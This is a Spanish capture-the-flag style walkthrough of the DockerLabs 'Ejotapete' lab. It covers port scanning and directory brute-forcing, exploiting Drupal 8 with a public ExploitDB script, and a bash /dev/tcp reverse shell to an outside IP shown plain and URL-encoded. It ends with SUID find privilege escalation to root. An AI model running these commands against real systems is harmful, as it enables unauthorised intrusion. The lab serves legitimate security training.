> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/ejotapete.md).
# Ejotapete
#### **Despliegue de la Máquina:**
**Descarga:**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Ejotapete** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.
**Descompresión:**
Descomprimimos el archivo usando `7z`:
```bash
7z x ejotapete.zip
```
**Ejecución:**
Ejecutamos el script que automatiza el despliegue del contenedor vulnerable en Docker:
```bash
bash auto_deploy.sh ejotapete.tar
```
***
#### **Reconocimiento:**
**Verificación de Conectividad:**
Hacemos un `ping` a la IP del contenedor para comprobar la conectividad:
```bash
ping -c 1 172.17.0.2
```
El `TTL=64` nos indica que se trata de un sistema **Linux**.
**Escaneo de Puertos:**
Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:
```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Resultado:**
* **Puerto 80:** `HTTP`.
**Escaneo Detallado:**
Analizamos el puerto encontrado con mayor profundidad:
```bash
nmap -p80 -sCV 172.17.0.2 -oN targeted
```
**Detectamos:**
* **Servicio:** Apache httpd 2.4.25.
* **Título HTTP:** 403 Forbidden.
**Enumeración Web:**
Al acceder a `http://172.17.0.2/` mediante el navegador, encontramos un error **403 Forbidden**, lo que indica falta de permisos para acceder al recurso.
Realizamos un ataque de fuerza bruta con `gobuster` para enumerar directorios y archivos ocultos:
```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html
```
Encontramos el directorio `/drupal`.
Al acceder vemos el CMS **Drupal** en ejecución:
```
http://172.17.0.2/drupal/
```
Verificamos la versión del CMS con la extensión **Wappalyzer** y confirmamos que es **Drupal 8**.
Alternativamente, inspeccionamos el código fuente y hallamos:
```html
```
***
#### **Explotación:**
Buscamos exploits públicos para Drupal 8. Encontramos uno en [ExploitDB](https://www.exploit-db.com/exploits/44449).
Lo descargamos y le damos permisos de ejecución:
```bash
chmod 700 44449.rb
```
Instalamos la dependencia `highline`, necesaria para el script:
```bash
gem install highline
```
> Este comando instala una biblioteca Ruby que permite mostrar menús interactivos y recibir entrada del usuario de forma más amigable.
Ejecutamos el exploit:
```bash
ruby 44449.rb http://172.17.0.2/drupal/
```
¡Tenemos ejecución remota de comandos (RCE)! Verificamos con `whoami` y obtenemos el usuario `www-data`.
**Reverse Shell:**
Preparamos una shell reversa para tener mayor control:
```bash
bash -c 'bash -i >& /dev/tcp/100.100.100.4/123 0>&1'
```
Codificamos la shell para evitar errores: [URL Encode and Decode - Online](https://www.urlencoder.org/).
**Resultado:**
```bash
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F100.100.100.4%2F123%200%3E%261%27
```
Nos ponemos en escucha:
```bash
nc -nvlp 123
```
Ejecutamos el payload codificado:
```bash
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F100.100.100.4%2F123%200%3E%261%27
```
¡Y obtenemos una shell como el usuario `www-data`!
***
#### **Escalada de Privilegios:**
Buscamos binarios con permisos SUID:
```bash
find / -perm -4000 2>/dev/null
```
Encontramos el binario `/usr/bin/find`.
Ejecutamos el siguiente comando para escalar privilegios:
```bash
find . -exec /bin/bash -p \; -quit
```
> Este comando utiliza el SUID del binario `find` para ejecutar una shell con privilegios elevados mediante `bash -p`, el cual conserva los permisos del ejecutable cuando el bit SUID está activo.
¡Y conseguimos acceso como `root`!